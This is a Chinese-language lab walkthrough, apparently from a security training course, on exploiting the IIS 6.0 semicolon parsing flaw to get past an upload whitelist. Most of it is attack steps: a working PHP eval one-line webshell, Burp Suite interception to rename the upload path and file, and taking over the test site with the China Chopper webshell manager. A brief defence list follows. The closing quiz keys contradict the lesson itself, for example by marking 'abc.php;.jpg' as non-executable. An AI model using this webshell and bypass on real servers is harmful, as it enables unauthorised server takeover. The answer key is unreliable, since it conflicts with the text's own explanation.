警惕IIS6.0站上的解析缺陷绕过上传漏洞
实验目的
- 了解iis6.0 解析缺陷漏洞的原理
- 掌握此漏洞的利用方法
实验工具
-
Burp Suite
:是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架,本次试验主要用到它的抓包改包功能 -
中国菜刀
:是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理,本次试验主要用到其动态脚本管理功能
实验内容
实验步骤
步骤1:上传正常图片和WEBShell
快速查找实验工具
- 打开桌面
Everything
搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工具所在位置。 - 以查找
BURP
为例为大家演示。
准备一张普通的图片,使用*.jpg
在电脑上进行搜索,可以看到很多图片,复制一张图片放到桌面上,改名为tupian.jpg
。
打开上传地址,选取上传图片。
小i提示:
- 上传地址就是可以上传文件的地方,本次实验用的测试网址
http://www.test.com
作为目标网站。
上传成功后,观察返回的页面信息。
小i提示
- 观察
红字
部分(上传是否成功,成功为Upload Successful ,失败这一行会显示失败信息)。- 观察
蓝字
部分(上传成功后文件的路径),它的名字是时间戳(通常是一个数字序列,唯一地标识某一刻的时间)加自己的尾缀。
准备的是PHP环境,接着来制作一句话
,新建一个空文本文档,将如下内容写入到文本中,修改文件名为yijuhua.php
并保存到桌面。
<?php @eval($_POST['1']); ?>
小i提示:
- 不同的环境需要选取与环境匹配的
一句话
, 一句话中<?php @eval($_POST[‘这里是密码’]);?>
,本例中我们以1
为密码。
:发现提示错误信息:White List Match Failed ---php
,可能服务器端禁止了尾缀PHP的文件上传。
下一步骤利用漏洞进行绕过上传
步骤2:用IIS6解析缺陷绕过上传检测
首先打开BurpLoader,选择 Proxy
->Options
,设置BurpLoader代理地址,默认为127.0.0.1
、端口:8080
。
接着修改Firefox的代理设置,修改代理地址以及端口(设置与在BurpLoader中设置的代理地址相同:127.0.0.1
、端口:8080
)。
小i提示::
- 不同浏览器设置代理的方法不相同, 但是设置位置基本类似,此处我们以火狐浏览器为例,首先点击右上角的
工具
->选项
->网络
->设置
->手动配置代理
,填入BurpLoader中设置的代理地址。
设置好浏览器代理后,我们再打开BurpLoader抓包,暂时截获浏览器给服务器发送的数据包,Proxy
->Intercept
点击 intercept off
改为intercept on
, 截获的数据包将在关闭抓包的时候发送给服务端。
查看数据包,其中Content-Disposition:form-data;name=”path”
下面的一行为服务保存文件的相对路径。
我们把原本的
uploadimg/
改为
uploadimg/1.php;
再把
filename="yijuhua.php"
修改为
filename="yijuhua.jpg"。
小i知识点:
- 本例用了IIS6.0目录路径检测解析,文件的名字为“*.php;xxx.jpg”,也同样会被 IIS 当作 PHP 文件来解析并执行
- 首先我们请求 /aaa.php;xxx.jpg
- 从头部查找查找
.
号,获得.php;xxx.jpg
- 查找`;,,如果有则内存截断,所以/aaa.php;xxx.jpg会当做/aaa.php进行解析
修改完成后,关闭抓包(点击intercept on
->intercept off
),上传数据,查看浏览器发现上传成功,复制File Name
后面的信息(例如:1.php;14127900008.php
);在前面添加上uploadimg/
粘贴复制到网站地址后面,从而构造访问地址(例如:http://www.test.com/uploadimg/1.php;14127900008.php
),并复制访问地址。
步骤3:获取WEBShell权限
打开中国菜刀
软件并填入复制的访问地址,填入你设定的密码,之前我们在“一句话”中设置的密码是1
,选择脚本类型为PHP
,单击添加
按钮,就会看到菜刀上出现一行信息,最后我们双击这条信息后,就可以看到目标网站的目录,这样我们就成功获取到目标网站的WEBShell权限。
小i 知识点:
- 中国菜刀,是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀与一句话协作来进行管理。
这里可以看见我们刚刚上传的文件,其中有一个空文件夹1.php;
以及其它我们上传的文件。
实验结果分析与总结
本次实验我们学习了iis6.0文件后缀解析漏洞的原理,并掌握了此漏洞的利用方法,最后请同学们学习此漏洞如何防御。
防御方案
1.客户端检测,使用JS对上传图片检测,包括文件大小、文件扩展名、文件类型等
2.服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测,对文件重命名
3.其他限制,服务器端上传目录设置不可执行权限
1、在本节视频中,IIS6.0站上的解析缺陷绕过,上传后保存的路径正确的是?
- 在1.php目录下
- 1.php:1412790008.jpg
- upload/1.php
- upload/1412790008.jpg
B
第1题:以下哪个php文件不可以在iis6.0上执行?
abc.jpg;.php
abc.php;.jpg
abc.php
abc.php:.jpg
B